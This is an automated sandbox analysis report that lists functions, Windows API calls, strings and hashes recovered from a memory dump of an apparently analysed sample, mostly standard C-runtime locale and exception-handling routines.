Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: f0164444117590cd5b9e31856ed8b4963abc8515b2f4cad484f5482eb9cc692c
Instruction ID: ce840bfb6ee4d392aa08a9440aaf9759094c4492aba5b86403d4fb0730983399
Opcode Fuzzy Hash: f0164444117590cd5b9e31856ed8b4963abc8515b2f4cad484f5482eb9cc692c
Instruction Fuzzy Hash: DDD21AB1E0822A8FDB65CE28DD40BE9B7B5EB45305F1841EED44DE7240E774AE818F61

Function 00DCC814 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00DCCB32,00000002,00000000,?,?,?,00DCCB32,?,00000000), ref: 00DCC8AD
GetLocaleInfoW.KERNEL32(?,20001004,00DCCB32,00000002,00000000,?,?,?,00DCCB32,?,00000000), ref: 00DCC8D6
GetACP.KERNEL32(?,?,00DCCB32,?,00000000), ref: 00DCC8EB

Strings

OCP, xrefs: 00DCC868
ACP, xrefs: 00DCC832

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 253cab364b4046ef2eb1346a11d2b0bb2551a49a0e6471285d964744a36795a7
Instruction ID: e2369dcf9ef3f177df9768267bc2e6ce1f1b7aa901cedc15b08c4e48cddb3d5f
Opcode Fuzzy Hash: 253cab364b4046ef2eb1346a11d2b0bb2551a49a0e6471285d964744a36795a7
Instruction Fuzzy Hash: 95216222A20203E6DB248F55C901F9777A6BF54B50B5A946DEA0DD7201E732DD41D370

Function 00DCC9E9 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DC4EB1: GetLastError.KERNEL32(?,00000008,00DC9482), ref: 00DC4EB5
Part of subcall function 00DC4EB1: SetLastError.KERNEL32(00000000,00DDC480,00000024,00DC0419), ref: 00DC4F57

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00DCCAF5
IsValidCodePage.KERNEL32(00000000), ref: 00DCCB3E
IsValidLocale.KERNEL32(?,00000001), ref: 00DCCB4D
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00DCCB95
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00DCCBB4

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: f650ba31c7d53e0f7741ed76897feef7be068b7ad00eafe759acf37edd4d67a2
Instruction ID: 5bf1d805943f0b61d3db89b91e4e12d769ed4b3ebc5b805684ea1489e234f895
Opcode Fuzzy Hash: f650ba31c7d53e0f7741ed76897feef7be068b7ad00eafe759acf37edd4d67a2
Instruction Fuzzy Hash: 9F515B71A1020AABDB10DFA5DC46FBA77B9EF08700F18546DEA19E7190EB70DA04CB71

Function 00DCC085 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DC4EB1: GetLastError.KERNEL32(?,00000008,00DC9482), ref: 00DC4EB5
Part of subcall function 00DC4EB1: SetLastError.KERNEL32(00000000,00DDC480,00000024,00DC0419), ref: 00DC4F57

GetACP.KERNEL32(?,?,?,?,?,?,00DC1848,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00DCC146
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00DC1848,?,?,?,00000055,?,-00000050,?,?), ref: 00DCC171
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00DCC2D4

Strings

utf8, xrefs: 00DCC243

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: a49ff25063d9652c56db8930cf907740bf692cabc90453610e4934da135b07b4
Instruction ID: 8395b4877b39679457519c791768503843e2771de63256062b3bc567e6512efe
Opcode Fuzzy Hash: a49ff25063d9652c56db8930cf907740bf692cabc90453610e4934da135b07b4
Instruction Fuzzy Hash: 2B71E631A10307AADB25ABB5DC46FBAB3A8EF44710F18502EF649D7181EB74E94097B4

Function 00DC3C92 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00DC3D1F

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction ID: 8bed0bee013820f6c3b36635a249232fbd93b88aa235dc92e5303e0028cd762d
Opcode Fuzzy Hash: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction Fuzzy Hash: 09B12372E042469FDB158F68C881FEEBBB5EF55300F18826EE805AB241D234DE05CBB0

Function 00DB7922 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00DB792E
IsDebuggerPresent.KERNEL32 ref: 00DB79FA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00DB7A13
UnhandledExceptionFilter.KERNEL32(?), ref: 00DB7A1D

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 461db9cc10f50b9f9ce7edcb040fb43aadc25ae7a838c19662e18cd79b5ba7c1
Instruction ID: 2113140ae1a4a0d9b6df1140b665adaaf0d86b6be65c17fc1644ca8e06e0f0f0
Opcode Fuzzy Hash: 461db9cc10f50b9f9ce7edcb040fb43aadc25ae7a838c19662e18cd79b5ba7c1
Instruction Fuzzy Hash: 3531E575D06318DBDB60DFA4D949BCDBBB8AF08300F1041AAE50DAB250EB709B858F65

Function 00DCC498 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00DC4EB1: GetLastError.KERNEL32(?,00000008,00DC9482), ref: 00DC4EB5
Part of subcall function 00DC4EB1: SetLastError.KERNEL32(00000000,00DDC480,00000024,00DC0419), ref: 00DC4F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00DCC4EC
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00DCC536
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00DCC5FC

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: b3b93ca5e894ce8e2b94f1c30b9528262263ee082834159582611d4647b3be36
Instruction ID: 36f7c9a9f8b8d5194abfb3bcb72c4a6bbd786ddca60662441b57d9d08332c991
Opcode Fuzzy Hash: b3b93ca5e894ce8e2b94f1c30b9528262263ee082834159582611d4647b3be36
Instruction Fuzzy Hash: B46161725602079BDF289F24CD82FBA77A9EF04310F14516EEA0AC7595EB34E945CB70

Function 00DBDA73 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00DBDB6B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00DBDB75
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00DBDB82

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 7871acae80a49c6427d17cd7a993cb82049ad64d8bf7a00aacf7a9a94b117746
Instruction ID: 75870c7c04d122f84e345a74ece6c45a1492828ccd05a55fa519d887e6e2b649
Opcode Fuzzy Hash: 7871acae80a49c6427d17cd7a993cb82049ad64d8bf7a00aacf7a9a94b117746
Instruction Fuzzy Hash: B331B274901228EBCB21DF64D889BDCBBB8BF48310F5041EAE41DA6250EB749B858F65

Function 00DBFEF0 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction ID: a15ee2e0d306dc97ea4f525dcb01284770a035ec1bdabc806c14985770b09e77
Opcode Fuzzy Hash: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction Fuzzy Hash: 0CF11C71E0021ADBDF14CFA8C884BADFBB5FF88314F19826DE915A7341D73099058BA4

Function 00DF94DB Relevance: 2.9, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

UT, xrefs: 00DF9806
/, xrefs: 00DF958E

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: 20bb723b0a5b6e542a701e23a403943098c04dccb459157f2ead8edf7df2d018
Instruction ID: 13bf2b6ffd926b4587c69e3d38cb2769f948439380f85d43a59e9b7fad884cdb
Opcode Fuzzy Hash: 20bb723b0a5b6e542a701e23a403943098c04dccb459157f2ead8edf7df2d018
Instruction Fuzzy Hash: 730294B1D0426C8FDF25CF64C8907AEBBB5AF45304F1980E9DA49A7246D6309E84CF65

Function 00DF6570 Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

x`C, xrefs: 00DF65FF
``C, xrefs: 00DF65E6

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID: ``C$x`C
API String ID: 0-4276601940
Opcode ID: 2facb5888a9830f7450ebd39a3b62939e3569205078117a0d6d3b64075eb6d7d
Instruction ID: d33fda8e2feb4f50beb21f66a74c6e3de02f45a552f94a3002504a89342a0a28
Opcode Fuzzy Hash: 2facb5888a9830f7450ebd39a3b62939e3569205078117a0d6d3b64075eb6d7d
Instruction Fuzzy Hash: 0551C5739001599BEB18CF58C4816F977B1EF84308F2A94BDC94AEF686EB709945CB60

Function 00DC572C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00DC5727,?,?,00000008,?,?,00DD15F5,00000000), ref: 00DC5959

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: b5908d7a026422ae371a2c39042a065f97b56583bd9276565c485eeda1ee9ffd
Instruction ID: 5f4cca69e39a20b066ced808a32ef1f6c797b445bbf4a4dd235462b78d944c34
Opcode Fuzzy Hash: b5908d7a026422ae371a2c39042a065f97b56583bd9276565c485eeda1ee9ffd
Instruction Fuzzy Hash: 7BB14931610A06CFDB14CF28D486F657BA0FF45364F29869CE89ACF2A5C735E991CB50

Function 00DB729C Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00DB72B2

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 76ac683b0f3ac78dafc583eaf145ad71dc9ab19a02e354bbaa5160b4b7317a26
Instruction ID: 87d58bb011bbd592b7da50aa18be9c08c53a317c9a97eb2ff7ca6d77c91dedad
Opcode Fuzzy Hash: 76ac683b0f3ac78dafc583eaf145ad71dc9ab19a02e354bbaa5160b4b7317a26
Instruction Fuzzy Hash: 0DA14F71906705CFDB28CF68D8867A9BBF1FB88324F19856AD41AE73A0D3349945CF60

Function 00DC9ABF Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3be6c580e2349bf657bd18403699144922bc690fda89b33fc92d4d64ad3422f3
Instruction ID: 4946814433363b3259c8e37f7a37b38241a62e0c54ef24bee429a57d80ba8ad0
Opcode Fuzzy Hash: 3be6c580e2349bf657bd18403699144922bc690fda89b33fc92d4d64ad3422f3
Instruction Fuzzy Hash: 8531C67690021AAFCB24DFA8DCD9EBBB77DEB84314F184159F915D7245EA30AE408B70

Function 00DBCAF2 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00DBCC80

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 45220abd55555fb26faf4a24a56043eace2f9ff8f77914816606e30f6aac3be2
Instruction ID: 5d84db1b605b092d25a4aac2f7edee55c50fd5fe89349ecd48b1bfce54cdecce
Opcode Fuzzy Hash: 45220abd55555fb26faf4a24a56043eace2f9ff8f77914816606e30f6aac3be2
Instruction Fuzzy Hash: 81C1BE74620605CFCB24CF28C491AEEBBB2FB55710F186629E4979B291D730EC45CB75

Function 00DCC6EB Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00DC4EB1: GetLastError.KERNEL32(?,00000008,00DC9482), ref: 00DC4EB5
Part of subcall function 00DC4EB1: SetLastError.KERNEL32(00000000,00DDC480,00000024,00DC0419), ref: 00DC4F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00DCC73F

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: cba64f53e589ab22ab271635e52c0c9b56ac2b71df05dfef2a568c7043e059e8
Instruction ID: 6d1b87c780bf2a3cb3b02213b264e6772cdf583ac652e034db25a4757879cced
Opcode Fuzzy Hash: cba64f53e589ab22ab271635e52c0c9b56ac2b71df05dfef2a568c7043e059e8
Instruction Fuzzy Hash: 1C217132521207ABEF289E25DC51F7A77A8EF44310B14507EFA09D7181EB34ED418B74

Function 00DCC372 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DC4EB1: GetLastError.KERNEL32(?,00000008,00DC9482), ref: 00DC4EB5
Part of subcall function 00DC4EB1: SetLastError.KERNEL32(00000000,00DDC480,00000024,00DC0419), ref: 00DC4F57

EnumSystemLocalesW.KERNEL32(00DCC498,00000001,00000000,?,-00000050,?,00DCCAC9,00000000,?,?,?,00000055,?), ref: 00DCC3E4

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: fa7c430cf2ce0f70aa4af87cccbefa72379735ab47ac89adca64526324aa7cd7
Instruction ID: d20a763aa4ca42962f29d138f9d7869a1ccaca9e041c9990db06b3db82685e57
Opcode Fuzzy Hash: fa7c430cf2ce0f70aa4af87cccbefa72379735ab47ac89adca64526324aa7cd7
Instruction Fuzzy Hash: 8F114C372143025FDB189F38D8A1A7AB791FF80768B18842DEA4B87B40D7717943C760

Function 00DCC91A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00DC4EB1: GetLastError.KERNEL32(?,00000008,00DC9482), ref: 00DC4EB5
Part of subcall function 00DC4EB1: SetLastError.KERNEL32(00000000,00DDC480,00000024,00DC0419), ref: 00DC4F57

